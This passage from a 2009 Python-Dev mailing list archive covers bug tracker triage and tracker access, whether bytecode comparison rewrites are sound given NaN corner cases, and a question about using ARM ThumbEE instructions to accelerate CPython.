-0500 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: <1afaf6160902101218t317c53akdefd4937c9619b40@mail.gmail.com> On Tue, Feb 10, 2009 at 8:23 AM, Daniel (ajax) Diniz wrote: > If anyone is interested in being added as nosy for any category of > bugs, let me know and I'll do that as I scan the tracker. Adding/assigning to me on 2to3 bugs is fine, but usually I notice stuff I'm interested in as it rises to the top. > Iff this kind of Bug-Day-ish work is desirable, doesn't disrupt real > work and people agree the workflow would be better, I'd like to have > developer rights in the tracker, as per Antoine's suggestion. FWIW, I > have no problem with the current situation. +10 for tracker access for you. This is the kind of work is something I think everybody has on their lists and really needs some TLC. Thank you! -- Regards, Benjamin From cesare.dimauro at a-tono.com Tue Feb 10 21:36:03 2009 From: cesare.dimauro at a-tono.com (Cesare Di Mauro) Date: Tue, 10 Feb 2009 21:36:03 +0100 (CET) Subject: [Python-Dev] Expression optimizations In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: <65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com> On Mar, Feb 10, 2009 at 05:38 PM, Daniel Stutzbach wrote: > On Tue, Feb 10, 2009 at 10:24 AM, Cesare Di Mauro > > wrote: > >> Could it be applyable to other operations as well? So, if I wrote: >> c = not(a < b) >> the compiler and/or peephole optimizer can generate bytecodes >> instructions >> which, instead, execute the following operation: >> c = a >= b >> > > Those two expressions are equivalent for integers, but not necessarily > equivalent for objects that define their own comparison operator. OK, so I can make assumptions only for built-in types. Thank you Cesare From daniel at stutzbachenterprises.com Tue Feb 10 21:42:47 2009 From: daniel at stutzbachenterprises.com (Daniel Stutzbach) Date: Tue, 10 Feb 2009 14:42:47 -0600 Subject: [Python-Dev] Expression optimizations In-Reply-To: <65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com> Message-ID: On Tue, Feb 10, 2009 at 2:36 PM, Cesare Di Mauro wrote: > OK, so I can make assumptions only for built-in types. > Yes, but even there you have to be careful of odd corner-cases, such as: >>> nan = float('nan') >>> nan < nan False >>> nan >= nan False -- Daniel Stutzbach, Ph.D. President, Stutzbach Enterprises, LLC -------------- next part -------------- An HTML attachment was scrubbed... URL: From cesare.dimauro at a-tono.com Tue Feb 10 21:43:17 2009 From: cesare.dimauro at a-tono.com (Cesare Di Mauro) Date: Tue, 10 Feb 2009 21:43:17 +0100 (CET) Subject: [Python-Dev] Expression optimizations In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: <65479.151.53.147.90.1234298597.squirrel@webmail3.pair.com> On Mar, Feb 10, 2009 06:24 PM, Daniel Stutzbach wrote: > On Tue, Feb 10, 2009 at 11:16 AM, Steve Holden > wrote: > >> That's true, but the same *could* be said about the existing >> optimizations for objects that define their own __contains__. >> > > No, because there isn't a __not_contains__, so you cannot define the > inverse > operation differently. "not a in b" and "a not in b" have exactly the > same > effects. > Interesting. So at least for "is" and "in" operators it is possible to play with the "not" operator. Thanks Cesare From cesare.dimauro at a-tono.com Tue Feb 10 21:56:52 2009 From: cesare.dimauro at a-tono.com (Cesare Di Mauro) Date: Tue, 10 Feb 2009 21:56:52 +0100 (CET) Subject: [Python-Dev] Expression optimizations In-Reply-To: <951A81ABBD7F4CA7956A8CB9DC157CD8@RaymondLaptop1> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <951A81ABBD7F4CA7956A8CB9DC157CD8@RaymondLaptop1> Message-ID: <49291.151.53.147.90.1234299412.squirrel@webmail3.pair.com> On Mar, Feb 10, 2009 08:15 PM, Raymond Hettinger wrote: > > ----- Original Message ----- > From: "Cesare Di Mauro" > To: "Python-Dev" > Sent: Tuesday, February 10, 2009 8:24 AM > Subject: [Python-Dev] Expression optimizations > > >> In peephole.c I noticed some expression optimizations: >> >> /* not a is b --> a is not b >> not a in b --> a not in b >> not a is not b --> a is b >> not a not in b --> a in b >> */ >> >> So, it seems that an operation can be changed to another one which is >> logically equivalent. >> >> Could it be applyable to other operations as well? So, if I wrote: >> >> c = not(a < b) >> >> the compiler and/or peephole optimizer can generate bytecodes >> instructions which, instead, execute the following operation: >> >> c = a >= b >> >> Is it right? > > We've only done conservative transformations that do not change which > magic methods get called. The is / isnot transformations are > invisible to the programmer and always semantically neutral. OK, and the same apply to the "in" operator, if I have understood correctly the other messages. > Your > proposed transformation is changes which methods get called and > makes assumptions that the usual relationships between comparison > operators holds (but it might not given rich comparisons, for > example, sets use the comparison operators for subset/superset tests). > Raymond, I'm not proposing any changes to the language. I'm playing with the virtual machine and I have some ideas about possibile optimizations that could be applyed. But I need to verify them, so understanding what is possible and what is not, is a primary goal for me. ;) Thanks for you patience Cesare From cesare.dimauro at a-tono.com Tue Feb 10 21:59:07 2009 From: cesare.dimauro at a-tono.com (Cesare Di Mauro) Date: Tue, 10 Feb 2009 21:59:07 +0100 (CET) Subject: [Python-Dev] Expression optimizations In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com> Message-ID: <49313.151.53.147.90.1234299547.squirrel@webmail3.pair.com> On Mar, Feb 10, 2009 09:42PM, Daniel Stutzbach wrote: > On Tue, Feb 10, 2009 at 2:36 PM, Cesare Di Mauro > wrote: > >> OK, so I can make assumptions only for built-in types. >> > > Yes, but even there you have to be careful of odd corner-cases, such as: > >>>> nan = float('nan') >>>> nan < nan > False >>>> nan >= nan > False Ah, I missed it. OK, and the same apply for decimals, I suppose. Thanks Cesare From dinov at microsoft.com Tue Feb 10 22:02:43 2009 From: dinov at microsoft.com (Dino Viehland) Date: Tue, 10 Feb 2009 13:02:43 -0800 Subject: [Python-Dev] Expression optimizations In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com> Message-ID: <350E7D38B6D819428718949920EC2355571B7F8CF1@NA-EXMSG-C102.redmond.corp.microsoft.com> And slightly unrelated, but just showing how bizarre floats are: >>> x = 1e66666 >>> y = x/x >>> cmp(y, y) 0 >>> cmp(x/x, x/x) -1 Yeah object identity checks! From: python-dev-bounces+dinov=microsoft.com at python.org [mailto:python-dev-bounces+dinov=microsoft.com at python.org] On Behalf Of Daniel Stutzbach Sent: Tuesday, February 10, 2009 12:43 PM To: cesare.dimauro at a-tono.com Cc: Python-Dev Subject: Re: [Python-Dev] Expression optimizations On Tue, Feb 10, 2009 at 2:36 PM, Cesare Di Mauro wrote: OK, so I can make assumptions only for built-in types. Yes, but even there you have to be careful of odd corner-cases, such as: >>> nan = float('nan') >>> nan < nan False >>> nan >= nan False -- Daniel Stutzbach, Ph.D. President, Stutzbach Enterprises, LLC From cesare.dimauro at a-tono.com Tue Feb 10 22:11:57 2009 From: cesare.dimauro at a-tono.com (Cesare Di Mauro) Date: Tue, 10 Feb 2009 22:11:57 +0100 (CET) Subject: [Python-Dev] Expression optimizations In-Reply-To: <350E7D38B6D819428718949920EC2355571B7F8CF1@NA-EXMSG-C102.redmond.corp .microsoft.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com> <350E7D38B6D819428718949920EC2355571B7F8CF1@NA-EXMSG-C102.redmond.corp.microsoft.com> Message-ID: <49740.151.53.147.90.1234300317.squirrel@webmail3.pair.com> It's bizarre enough, since I have got a different result (with Python 2.6.1, 32 bit): >>> x = 1e66666 >>> y = x/x >>> x inf >>> y nan >>> cmp(y, y) 0 >>> cmp(x/x, x/x) 1 :D Cesare On Mar, Feb 10, 2009 10:02PM, Dino Viehland wrote: > And slightly unrelated, but just showing how bizarre floats are: > >>>> x = 1e66666 >>>> y = x/x >>>> cmp(y, y) > 0 >>>> cmp(x/x, x/x) > -1 > > Yeah object identity checks! > > From: python-dev-bounces+dinov=microsoft.com at python.org > [mailto:python-dev-bounces+dinov=microsoft.com at python.org] On Behalf Of > Daniel Stutzbach > Sent: Tuesday, February 10, 2009 12:43 PM > To: cesare.dimauro at a-tono.com > Cc: Python-Dev > Subject: Re: [Python-Dev] Expression optimizations > > On Tue, Feb 10, 2009 at 2:36 PM, Cesare Di Mauro > wrote: > OK, so I can make assumptions only for built-in types. > > Yes, but even there you have to be careful of odd corner-cases, such as: > >>>> nan = float('nan') >>>> nan < nan > False >>>> nan >= nan > False > -- > Daniel Stutzbach, Ph.D. > President, Stutzbach Enterprises, LLC > From dinov at microsoft.com Tue Feb 10 22:19:25 2009 From: dinov at microsoft.com (Dino Viehland) Date: Tue, 10 Feb 2009 13:19:25 -0800 Subject: [Python-Dev] Expression optimizations In-Reply-To: <49740.151.53.147.90.1234300317.squirrel@webmail3.pair.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <65379.151.53.147.90.1234298163.squirrel@webmail3.pair.com> <350E7D38B6D819428718949920EC2355571B7F8CF1@NA-EXMSG-C102.redmond.corp.microsoft.com> <49740.151.53.147.90.1234300317.squirrel@webmail3.pair.com> Message-ID: <350E7D38B6D819428718949920EC2355571B7F8D12@NA-EXMSG-C102.redmond.corp.microsoft.com> I think it's comparing based upon object identity so it may be a little non-deterministic: >>> x= 1e666666 >>> y = x/x >>> z = x/x >>> cmp(y, z) 1 >>> cmp(z, y) -1 >>> But I may have accidently run that on IronPython though where we're assigning ids differently :) -----Original Message----- From: Cesare Di Mauro [mailto:cesare.dimauro at a-tono.com] Sent: Tuesday, February 10, 2009 1:12 PM To: Dino Viehland Cc: Daniel Stutzbach; cesare.dimauro at a-tono.com; Python-Dev Subject: RE: [Python-Dev] Expression optimizations It's bizarre enough, since I have got a different result (with Python 2.6.1, 32 bit): >>> x = 1e66666 >>> y = x/x >>> x inf >>> y nan >>> cmp(y, y) 0 >>> cmp(x/x, x/x) 1 :D Cesare On Mar, Feb 10, 2009 10:02PM, Dino Viehland wrote: > And slightly unrelated, but just showing how bizarre floats are: > >>>> x = 1e66666 >>>> y = x/x >>>> cmp(y, y) > 0 >>>> cmp(x/x, x/x) > -1 > > Yeah object identity checks! > > From: python-dev-bounces+dinov=microsoft.com at python.org > [mailto:python-dev-bounces+dinov=microsoft.com at python.org] On Behalf Of > Daniel Stutzbach > Sent: Tuesday, February 10, 2009 12:43 PM > To: cesare.dimauro at a-tono.com > Cc: Python-Dev > Subject: Re: [Python-Dev] Expression optimizations > > On Tue, Feb 10, 2009 at 2:36 PM, Cesare Di Mauro > wrote: > OK, so I can make assumptions only for built-in types. > > Yes, but even there you have to be careful of odd corner-cases, such as: > >>>> nan = float('nan') >>>> nan < nan > False >>>> nan >= nan > False > -- > Daniel Stutzbach, Ph.D. > President, Stutzbach Enterprises, LLC > From python at rcn.com Tue Feb 10 22:20:38 2009 From: python at rcn.com (Raymond Hettinger) Date: Tue, 10 Feb 2009 13:20:38 -0800 Subject: [Python-Dev] Expression optimizations References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <951A81ABBD7F4CA7956A8CB9DC157CD8@RaymondLaptop1> <49291.151.53.147.90.1234299412.squirrel@webmail3.pair.com> Message-ID: <86D9F01DF2FE43ADA55B5C5382BBF7A1@RaymondLaptop1> [Cesare Di Mauro] > I'm playing with the virtual machine and I have some ideas about possibile > optimizations that could be applyed. But I need to verify them, so > understanding what is possible and what is not, is a primary goal for me. The best way to understand what is possible is to disassemble bytecode and the look at *exactly* how those are executed by ceval.c. That makes it possible to identify which transformations are semantically neutral. FWIW, I think the path of peephole optimizing been mostly exhausted. A much more fertile field of search is to examine what can be done with the AST. Sections of the tree may provide more context so that a broader range of simplifications and transformations are possible. This should discussion probably be taken off python-dev and moved to to comp.lang.python until the exercise has grown beyond "playing with the virtual machine." Raymond From brett at python.org Tue Feb 10 22:26:12 2009 From: brett at python.org (Brett Cannon) Date: Tue, 10 Feb 2009 13:26:12 -0800 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: On Tue, Feb 10, 2009 at 05:23, Daniel (ajax) Diniz wrote: > [SNIP] > Iff this kind of Bug-Day-ish work is desirable, doesn't disrupt real > work and people agree the workflow would be better, I'd like to have > developer rights in the tracker, as per Antoine's suggestion. FWIW, I > have no problem with the current situation. > OK, three enthusiastic votes to give them is plenty for me. You should have the Developer role now, Daniel. Let me know if I screwed up at all in switchng the role on for you. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From ziade.tarek at gmail.com Tue Feb 10 22:30:21 2009 From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=) Date: Tue, 10 Feb 2009 22:30:21 +0100 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: <94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com> On Tue, Feb 10, 2009 at 2:23 PM, Daniel (ajax) Diniz wrote: > > If anyone is interested in being added as nosy for any category of > bugs, let me know and I'll do that as I scan the tracker. I'll take Distutils related issues, Thank you Tarek From cesare.dimauro at a-tono.com Tue Feb 10 22:53:54 2009 From: cesare.dimauro at a-tono.com (Cesare Di Mauro) Date: Tue, 10 Feb 2009 22:53:54 +0100 (CET) Subject: [Python-Dev] Expression optimizations In-Reply-To: <86D9F01DF2FE43ADA55B5C5382BBF7A1@RaymondLaptop1> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <951A81ABBD7F4CA7956A8CB9DC157CD8@RaymondLaptop1> <49291.151.53.147.90.1234299412.squirrel@webmail3.pair.com> <86D9F01DF2FE43ADA55B5C5382BBF7A1@RaymondLaptop1> Message-ID: <50715.151.53.147.90.1234302834.squirrel@webmail3.pair.com> On Mar, Feb 10, 2009 10:20PM, Raymond Hettinger wrote: > [Cesare Di Mauro] >> I'm playing with the virtual machine and I have some ideas about >> possibile >> optimizations that could be applyed. But I need to verify them, so >> understanding what is possible and what is not, is a primary goal for >> me. > > The best way to understand what is possible is to disassemble bytecode > and the look at *exactly* how those are executed by ceval.c. That makes > it possible to identify which transformations are semantically neutral. I've already done it, but ceval.c isn't enough. It makes use of external functions to do some works, like PyObject_RichCompare, for example. So I've asked some information here. > FWIW, I think the path of peephole optimizing been mostly exhausted. I think so too, but there's room for a few optimizations (introducing some new opcodes). > A much more fertile field of search is to examine what can be done with > the AST. Sections of the tree may provide more context so that a broader > range of simplifications and transformations are possible. I completely agree. > This should discussion probably be taken off python-dev and moved to > to comp.lang.python until the exercise has grown beyond "playing with > the virtual machine." > > Raymond I've already rewritten ceval.c, opcode.h and some other files of Python 2.6.1 to implement my ideas. I think it's a little bit beyond "playing" with the VM, and I hope to present my work to the next PyCon at Florence, in Italy, if my paper will be accepted. Now I'm trying to understand how compiler.c works, to fit in my changes (I took a look at peephole.c, and it'll be easier, fortunately, but I'll do it later). It's not easy for me, since I'm alone, I'm working to a code which is not mine, and a bit complicated too. But if you think that this mailing list is not the correct place to ask for, I'll move to comp.lang.python, as you have suggested. Thanks, Cesare From ajaksu at gmail.com Wed Feb 11 02:34:53 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Tue, 10 Feb 2009 23:34:53 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: <2d75d7660902101734w586629b9uf6d23bb6f2ef5a62@mail.gmail.com> Brett Cannon wrote: > OK, three enthusiastic votes to give them is plenty for me. You should have the Developer role now, Daniel. Let me know if I screwed up at all in switchng the role on for you. Thanks a lot! Looks like it worked fine :) Let me try the new thing, then: warnings and import for you, distutils for Tarek, 2to3 (if any left) for Benjamin and Unicode for Ezio (and patches for Antoine!). If anyone else wants to claim or be added to dusty bugs, just give me a shout :) Cheers, Daniel From stephen at thorne.id.au Wed Feb 11 00:46:20 2009 From: stephen at thorne.id.au (Stephen Thorne) Date: Wed, 11 Feb 2009 09:46:20 +1000 Subject: [Python-Dev] Tracker archeology In-Reply-To: <94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com> Message-ID: <20090210234620.GB12722@thorne.id.au> On 2009-02-10, Tarek Ziad? wrote: > On Tue, Feb 10, 2009 at 2:23 PM, Daniel (ajax) Diniz wrote: > > > > > If anyone is interested in being added as nosy for any category of > > bugs, let me know and I'll do that as I scan the tracker. > > I'll take Distutils related issues, If you could look at a solution for http://bugs.python.org/issue1533164 I would be eternally grateful. -- Regards, Stephen Thorne Development Engineer NetBox Blue - 1300 737 060 NetBox Blue is proud to be a sponsor and exhibitor at IBM's Solutions Showcase 2009 events. These are held in Perth, Adelaide, Brisbane, Sydney and Melbourne in February and March. For more details and to register please visit: http://www.ibm.com/solutionsshowcase/au Scanned by the NetBox from NetBox Blue (http://netboxblue.com/) From bmschwar at fas.harvard.edu Wed Feb 11 03:45:15 2009 From: bmschwar at fas.harvard.edu (Benjamin Schwartz) Date: Tue, 10 Feb 2009 18:45:15 -0800 (PST) Subject: [Python-Dev] Python-acceleration instructions on ARM Message-ID: <21947336.post@talk.nabble.com> Dear Python developers, Introduction: I am writing from the perspective of Sugar Labs [1], which produces Sugar, a free software project written almost entirely in Python. Sugar is designed to run on small, resource-constrained computers. So far those computers have been mostly x86, but it seems likely to me that we will soon want to run on ARM as well, with the new wave of small ARM laptops [2]. These laptops are likely to run on some variant of the ARM Cortex-A8 CPU core. The Cortex-A8 chips all contain a set of commands known as ThumbEE or Jazelle RCT (Runtime Compilation Target) [3]. According to ARM [4]: """Jazelle RCT can be used to significantly reduce the code bloat associated with AOT and JIT compilation, making AOT technology viable on mass-market devices. It can also be used to support execution environments beyond Java, such as Microsoft .NET Compact Framework, Python and others.""" """Jazelle RCT provides an excellent target for any run-time compilation technology, including JIT and AOT for .NET MSIL, Python and Perl as well as Java. ARM is working with leading software providers to enable solutions ready for market with Jazelle RCT.""" The Jazelle RCT system consists of 12 assembly instructions, documented at [5] and [6]. Question: ARM is specifically claiming that these instructions can be used to accelerate Python interpretation. Is there any interpreter code, in CPython or elsewhere, that uses ThumbEE mode? Is there anyone working on this? What would the process be to incorporate the use of ThumbEE instructions into CPython? The whitepaper mentions the Parrot interpreter specifically, but I cannot find any indication that anyone is actually working on Jazelle RCT support in Parrot. Thank you, Ben Schwartz [1] http://sugarlabs.org/go/Main_Page [2] http://www.engadget.com/2009/01/09/pegatron-and-freescale-team-for-low-power-ultra-cheap-netbooks/ [3] http://en.wikipedia.org/wiki/ARM_architecture#Thumb_Execution_Environment_.28ThumbEE.29 [4] http://www.arm.com/products/multimedia/java/jazelle_architecture.html [5] http://infocenter.arm.com/help/topic/com.arm.doc.dui0379a/CIHBCDGA.html [6] http://www.arm.com/pdfs/JazelleRCTWhitePaper_final1-0_.pdf -- View this message in context: http://www.nabble.com/Python-acceleration-instructions-on-ARM-tp21947336p21947336.html Sent from the Python - python-dev mailing list archive at Nabble.com. From brett at python.org Wed Feb 11 04:00:57 2009 From: brett at python.org (Brett Cannon) Date: Tue, 10 Feb 2009 19:00:57 -0800 Subject: [Python-Dev] Python-acceleration instructions on ARM In-Reply-To: <21947336.post@talk.nabble.com> References: <21947336.post@talk.nabble.com> Message-ID: On Tue, Feb 10, 2009 at 18:45, Benjamin Schwartz wrote: > > Dear Python developers, > > Introduction: > I am writing from the perspective of Sugar Labs [1], which produces Sugar, > a > free software project written almost entirely in Python. Sugar is designed > to run on small, resource-constrained computers. So far those computers > have been mostly x86, but it seems likely to me that we will soon want to > run on ARM as well, with the new wave of small ARM laptops [2]. These > laptops are likely to run on some variant of the ARM Cortex-A8 CPU core. > > The Cortex-A8 chips all contain a set of commands known as ThumbEE or > Jazelle RCT (Runtime Compilation Target) [3]. According to ARM [4]: > > """Jazelle RCT can be used to significantly reduce the code bloat > associated > with AOT and JIT compilation, making AOT technology viable on mass-market > devices. It can also be used to support execution environments beyond Java, > such as Microsoft .NET Compact Framework, Python and others.""" > > """Jazelle RCT provides an excellent target for any run-time compilation > technology, including JIT and AOT for .NET MSIL, Python and Perl as well as > Java. ARM is working with leading software providers to enable solutions > ready for market with Jazelle RCT.""" > > The Jazelle RCT system consists of 12 assembly instructions, documented at > [5] and [6]. > > Question: > ARM is specifically claiming that these instructions can be used to > accelerate Python interpretation. Wow, really? One of the links below mention that? > Is there any interpreter code, in CPython > or elsewhere, that uses ThumbEE mode? Nope. > Is there anyone working on this? Not that has contacted us. > > What would the process be to incorporate the use of ThumbEE instructions > into CPython? > Well, this all depends on how you try to integrate the instructions. If you hide it behind the macro or in a clean way that does not penalize skipping the instructions then you write a patch. But if this can't be done it would be better to maintain an external set of patches against trunk for this. This might be pushed anyway as we have slowly been shying away from platform/CPU-specific code being in the trunk, especially when it does not come from someone who has been a Python core developer for several years. -Brett > The whitepaper mentions the Parrot interpreter specifically, but I cannot > find any indication that anyone is actually working on Jazelle RCT support > in Parrot. > > Thank you, > Ben Schwartz > > [1] http://sugarlabs.org/go/Main_Page > [2] > > http://www.engadget.com/2009/01/09/pegatron-and-freescale-team-for-low-power-ultra-cheap-netbooks/ > [3] > > http://en.wikipedia.org/wiki/ARM_architecture#Thumb_Execution_Environment_.28ThumbEE.29 > [4] http://www.arm.com/products/multimedia/java/jazelle_architecture.html > [5] > http://infocenter.arm.com/help/topic/com.arm.doc.dui0379a/CIHBCDGA.html > [6] http://www.arm.com/pdfs/JazelleRCTWhitePaper_final1-0_.pdf > -- > View this message in context: > http://www.nabble.com/Python-acceleration-instructions-on-ARM-tp21947336p21947336.html > Sent from the Python - python-dev mailing list archive at Nabble.com. > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/brett%40python.org > -------------- next part -------------- An HTML attachment was scrubbed... URL: From bmschwar at fas.harvard.edu Wed Feb 11 04:11:42 2009 From: bmschwar at fas.harvard.edu (Benjamin M. Schwartz) Date: Tue, 10 Feb 2009 22:11:42 -0500 Subject: [Python-Dev] Python-acceleration instructions on ARM In-Reply-To: References: <21947336.post@talk.nabble.com> Message-ID: <499241EE.4010206@fas.harvard.edu> Brett Cannon wrote: > On Tue, Feb 10, 2009 at 18:45, Benjamin Schwartz > wrote: > ... >> According to ARM [4]: >> >> """Jazelle RCT can be used to significantly reduce the code bloat >> associated >> with AOT and JIT compilation, making AOT technology viable on mass-market >> devices. It can also be used to support execution environments beyond Java, >> such as Microsoft .NET Compact Framework, Python and others.""" >> >> """Jazelle RCT provides an excellent target for any run-time compilation >> technology, including JIT and AOT for .NET MSIL, Python and Perl as well as >> Java. ARM is working with leading software providers to enable solutions >> ready for market with Jazelle RCT.""" ... >> Question: >> ARM is specifically claiming that these instructions can be used to >> accelerate Python interpretation. > > Wow, really? One of the links below mention that? Yes. The quotes above from [4], as well as the white paper [6]. No specific data, just these broad claims. >> What would the process be to incorporate the use of ThumbEE instructions >> into CPython? >> > > Well, this all depends on how you try to integrate the instructions. If you > hide it behind the macro or in a clean way that does not penalize skipping > the instructions then you write a patch. But if this can't be done it would > be better to maintain an external set of patches against trunk for this. Interesting. Sugar Labs will probably not attempt this if we would have to maintain a patched interpreter forever. However, I hope it will be possible to integrate into CPython in a manner that does not uglify the code or affect other architectures. Anyone else interested in ARM? ThumbEE support would benefit anyone running Python on recent ARM chips. Maybe we need to create a working group/project team/whatever. >> [4] http://www.arm.com/products/multimedia/java/jazelle_architecture.html >> [6] http://www.arm.com/pdfs/JazelleRCTWhitePaper_final1-0_.pdf -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 197 bytes Desc: OpenPGP digital signature URL: From python at rcn.com Wed Feb 11 05:57:23 2009 From: python at rcn.com (Raymond Hettinger) Date: Tue, 10 Feb 2009 20:57:23 -0800 Subject: [Python-Dev] Bug tracker house cleaning. Message-ID: ISTM, that when closing duplicate bug reports, both should reference one another so that the combined threads don't get lost. Also, assigning bugs to people who haven't asked to handle them doesn't seem like it is actually cleaning-up anything. If something is assigned to someone, I usually assume they intend to work on it at some point. In contrast, unassigned means that no one is currently handling it. Just thought I would toss this out since the status of so many bugs/patches is being updated today. Raymond From guido at python.org Wed Feb 11 06:08:22 2009 From: guido at python.org (Guido van Rossum) Date: Tue, 10 Feb 2009 21:08:22 -0800 Subject: [Python-Dev] Bug tracker house cleaning. In-Reply-To: References: Message-ID: On Tue, Feb 10, 2009 at 8:57 PM, Raymond Hettinger wrote: > ISTM, that when closing duplicate bug reports, both should reference one > another so that the combined threads don't get lost. This suggest a feature request (which Google's internal tracker has): when a bug is closed as Duplicate, indeed both bugs are linked together, and the people subscribed to both lists are CC'ed on the email, *and* the CC lists are merged (into the bug that remains open). > Also, assigning bugs to people who haven't asked to handle them doesn't seem > like it is actually cleaning-up anything. If something is assigned to > someone, I usually assume they intend to work on it at some point. In > contrast, unassigned means that no one is currently handling it. Agreed for people who haven't asked. Some folks specifically said "please assign bugs of certain types to me". That implies to me a promise to at least do triage and unassign if they know they won't handle it -- so in that case (and that case only) it seems fine. There are also a few bug categories that auto-assign -- this implies the same to me. > Just thought I would toss this out since the status of so many bugs/patches > is being updated today. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From nnorwitz at gmail.com Wed Feb 11 06:16:48 2009 From: nnorwitz at gmail.com (Neal Norwitz) Date: Tue, 10 Feb 2009 21:16:48 -0800 Subject: [Python-Dev] Daily documentation builds In-Reply-To: <00C904AA5E36487683FFC7CB776C9AA9@RaymondLaptop1> References: <00C904AA5E36487683FFC7CB776C9AA9@RaymondLaptop1> Message-ID: I ran 2.6, 3.0, and 3.1 manually. 2.7 should get picked up on the next run. The problem is that regrtest.py -R hangs from time to time which caused the machine to run out of memory. Does anyone else have regrtest.py -R hang for them? Some tests were disabled to try to prevent the problem, but it still happens from time to time. n On Tue, Feb 10, 2009 at 11:33 AM, Raymond Hettinger wrote: > The online development docs stopped their nightly rebuilds four days ago. > > > Raymond > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/nnorwitz%40gmail.com > From ajaksu at gmail.com Wed Feb 11 06:58:10 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Wed, 11 Feb 2009 03:58:10 -0200 Subject: [Python-Dev] Bug tracker house cleaning. In-Reply-To: References: Message-ID: <2d75d7660902102158s5bca2e64m3df17dfff58a55a1@mail.gmail.com> Hi Raymond, Thanks a lot for the feedback. I actually am more than a bit concerned about the effect of my wholesale edits on the signal to noise ration. Any clarifications are most welcome (and I'm open to change methods and immediate goals) :) Raymond Hettinger wrote: > ISTM, that when closing duplicate bug reports, both should reference one another so that the combined threads don't get lost. I agree, sorry for not doing it in issue 1820[1]. I will revise the recently closed bugs to see if I can correct cases where this didn't happen. > Also, assigning bugs to people who haven't asked to handle them doesn't seem like it is actually cleaning-up anything. That was not the goal at all, so any instance in which it did happen was a mistake. I won't change these unless I was responsible for wrongfully assigning, but I will look back at all my edits to clean up such errors. I've added you as nosy for 2308, the duplicate of 1820, before closing it. Sorry about the inconvenience, as you said "both [issues] should reference one another" is the way to go. > If something is assigned to someone, I usually assume they intend to work on it at some point. In contrast, unassigned means that no one is currently handling it. Fair enough, but in most (hopefully all) cases I only assigned bugs to people that requested so, in the "Tracker archeology" thread. Tomorrow I intend to follow up with confirmations/tests/patches for as many of these issues as I can, so in the short term these bugs will receive some attention. > Just thought I would toss this out since the status of so many bugs/patches is being updated today. I really appreciate that. I'll keep your suggestions in mind and try to improve my edits. Best regards, Daniel [1] http://bugs.python.org/issue1820 From ajaksu at gmail.com Wed Feb 11 07:08:54 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Wed, 11 Feb 2009 04:08:54 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: <2d75d7660902102208u202216f0p3ec8dfc05407459@mail.gmail.com> Brett Cannon wrote: > Warnings and import for me. Done. Tomorrow I'll see what I can triage/test in those. >> Talking about Bug Days, I see lots of easy bugs, some with outdated >> patches. Is there any plan of doing a Bug Day around PyCon time? > > Well, the sprints at PyCon are Bug Days themselves really, although they happen during the week so that tends to cause problems. As of right now there are no plans but someone can obviously plan one if they feel up for it. OK, sometime later I'll try to flag Easy bugs, then. Daniel From ajaksu at gmail.com Wed Feb 11 07:20:59 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Wed, 11 Feb 2009 04:20:59 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com> Message-ID: <2d75d7660902102220i30d9d729u469acf8062083072@mail.gmail.com> Tarek Ziad? wrote: > I'll take Distutils related issues, Done. Since Akira Kitada is helping with many distutils issues, I'll skip 